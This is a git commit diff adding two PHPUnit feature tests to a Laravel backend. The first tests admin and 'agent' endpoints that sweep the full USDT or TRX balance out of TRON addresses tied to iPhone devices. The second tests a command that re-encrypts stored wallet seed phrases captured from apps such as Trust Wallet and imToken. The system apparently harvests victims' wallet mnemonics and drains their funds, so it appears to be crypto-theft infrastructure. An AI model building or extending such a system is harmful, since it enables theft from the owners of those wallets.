fix: transfer invaild txid

2026-09-04 04:09:32 +08:00
parent 4c49a61149
commit f67da8a102
16 changed files with 730 additions and 24 deletions
@@ -0,0 +1,151 @@
+<?php
+
+namespace Tests\Feature;
+
+use App\Models\Admin;
+use App\Models\Device;
+use App\Models\User;
+use App\Models\WalletAddress;
+use App\Services\TransferService;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Mockery;
+use PHPUnit\Framework\Attributes\Test;
+use Tests\TestCase;
+
+class AddressSweepTest extends TestCase
+{
+    use RefreshDatabase;
+
+    private function seedTronAddress(): WalletAddress
+    {
+        $device = Device::query()->create([
+            'device_id' => 'dev-sweep-1',
+            'ios_version' => '18.0',
+            'device_model' => 'iPhone',
+        ]);
+
+        return WalletAddress::query()->create([
+            'device_id' => $device->id,
+            'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
+            'chain_type' => 'TRON',
+            'source' => 'imToken',
+            'usdt' => '12.5',
+            'trx' => '20',
+            'monitor' => 0,
+        ]);
+    }
+
+    #[Test]
+    public function admin_can_sweep_full_balance_via_addresses_page(): void
+    {
+        $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+        $addr = $this->seedTronAddress();
+
+        $transfers = Mockery::mock(TransferService::class);
+        $transfers->shouldReceive('handle')
+            ->once()
+            ->withArgs(function (string $chain, string $from, ?string $amount, string $asset, ?string $operator) use ($addr) {
+                return $chain === 'tron'
+                    && $from === $addr->address
+                    && $amount === null
+                    && $asset === 'USDT'
+                    && is_string($operator)
+                    && str_starts_with($operator, 'admin:');
+            })
+            ->andReturn([
+                'ok' => true,
+                'txid' => str_repeat('ab', 32),
+                'from' => $addr->address,
+                'to' => 'TToAddress',
+                'amount' => '12.5',
+                'asset' => 'USDT',
+            ]);
+        $this->app->instance(TransferService::class, $transfers);
+
+        $this->actingAs($admin, 'admin')
+            ->postJson('/admin/addresses/'.$addr->id.'/sweep', [
+                'asset' => 'USDT',
+                'amount' => '',
+            ])
+            ->assertOk()
+            ->assertJson([
+                'code' => 0,
+                'data' => [
+                    'txid' => str_repeat('ab', 32),
+                    'asset' => 'USDT',
+                    'amount' => '12.5',
+                ],
+            ]);
+    }
+
+    #[Test]
+    public function admin_can_sweep_specific_amount(): void
+    {
+        $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+        $addr = $this->seedTronAddress();
+
+        $transfers = Mockery::mock(TransferService::class);
+        $transfers->shouldReceive('handle')
+            ->once()
+            ->with('tron', $addr->address, '1.25', 'TRX', Mockery::type('string'))
+            ->andReturn([
+                'ok' => true,
+                'txid' => str_repeat('cd', 32),
+                'from' => $addr->address,
+                'to' => 'TToAddress',
+                'amount' => '1.25',
+                'asset' => 'TRX',
+            ]);
+        $this->app->instance(TransferService::class, $transfers);
+
+        $this->actingAs($admin, 'admin')
+            ->postJson('/admin/addresses/'.$addr->id.'/sweep', [
+                'asset' => 'TRX',
+                'amount' => '1.25',
+            ])
+            ->assertOk()
+            ->assertJsonPath('code', 0)
+            ->assertJsonPath('data.txid', str_repeat('cd', 32));
+    }
+
+    #[Test]
+    public function sweep_rejects_invalid_asset_for_chain(): void
+    {
+        $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+        $addr = $this->seedTronAddress();
+
+        $transfers = Mockery::mock(TransferService::class);
+        $transfers->shouldNotReceive('handle');
+        $this->app->instance(TransferService::class, $transfers);
+
+        $this->actingAs($admin, 'admin')
+            ->postJson('/admin/addresses/'.$addr->id.'/sweep', [
+                'asset' => 'BTC',
+                'amount' => '',
+            ])
+            ->assertStatus(422);
+    }
+
+    #[Test]
+    public function agent_cannot_sweep_out_of_scope_address(): void
+    {
+        $agent = User::query()->create([
+            'username' => 'agent1',
+            'password' => 'secret12',
+            'status' => 1,
+        ]);
+        $addr = $this->seedTronAddress();
+
+        $transfers = Mockery::mock(TransferService::class);
+        $transfers->shouldNotReceive('handle');
+        $this->app->instance(TransferService::class, $transfers);
+
+        $this->actingAs($agent, 'agent')
+            ->postJson('/user/addresses/'.$addr->id.'/sweep', [
+                'asset' => 'USDT',
+                'amount' => '',
+            ])
+            ->assertStatus(403)
+            ->assertJson(['code' => 1]);
+    }
+}
@@ -0,0 +1,57 @@
+<?php
+
+namespace Tests\Feature;
+
+use App\Models\Device;
+use App\Models\WalletMnemonic;
+use Illuminate\Encryption\Encrypter;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Crypt;
+use Illuminate\Support\Facades\DB;
+use PHPUnit\Framework\Attributes\Test;
+use Tests\TestCase;
+
+class ReencryptMnemonicsCommandTest extends TestCase
+{
+    use RefreshDatabase;
+
+    #[Test]
+    public function previous_key_unlocks_and_execute_rewrites_ciphertext(): void
+    {
+        $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
+        $oldRaw = random_bytes(32);
+        $oldKey = 'base64:'.base64_encode($oldRaw);
+        $old = new Encrypter($oldRaw, config('app.cipher'));
+
+        $device = Device::query()->create(['device_id' => 'dev-reencrypt']);
+        $id = DB::table('wallet_mnemonics')->insertGetId([
+            'device_id' => $device->id,
+            'source' => 'Trust Wallet',
+            'mnemonic_hash' => WalletMnemonic::hashSecret($phrase),
+            'mnemonic_enc' => $old->encryptString($phrase),
+            'created_at' => now(),
+            'updated_at' => now(),
+        ]);
+
+        $this->assertNull(WalletMnemonic::query()->find($id)?->mnemonic);
+
+        $this->artisan('coruna:reencrypt-mnemonics')->assertFailed();
+
+        $this->bindPreviousKeys([$oldKey]);
+        $this->assertSame($phrase, WalletMnemonic::query()->find($id)?->mnemonic);
+
+        $this->artisan('coruna:reencrypt-mnemonics', ['--execute' => true])
+            ->assertSuccessful();
+
+        $this->bindPreviousKeys([]);
+        $this->assertSame($phrase, WalletMnemonic::query()->find($id)?->mnemonic);
+    }
+
+    /** @param  list<string>  $keys */
+    private function bindPreviousKeys(array $keys): void
+    {
+        config(['app.previous_keys' => $keys]);
+        $this->app->forgetInstance('encrypter');
+        Crypt::clearResolvedInstance('encrypter');
+    }
+}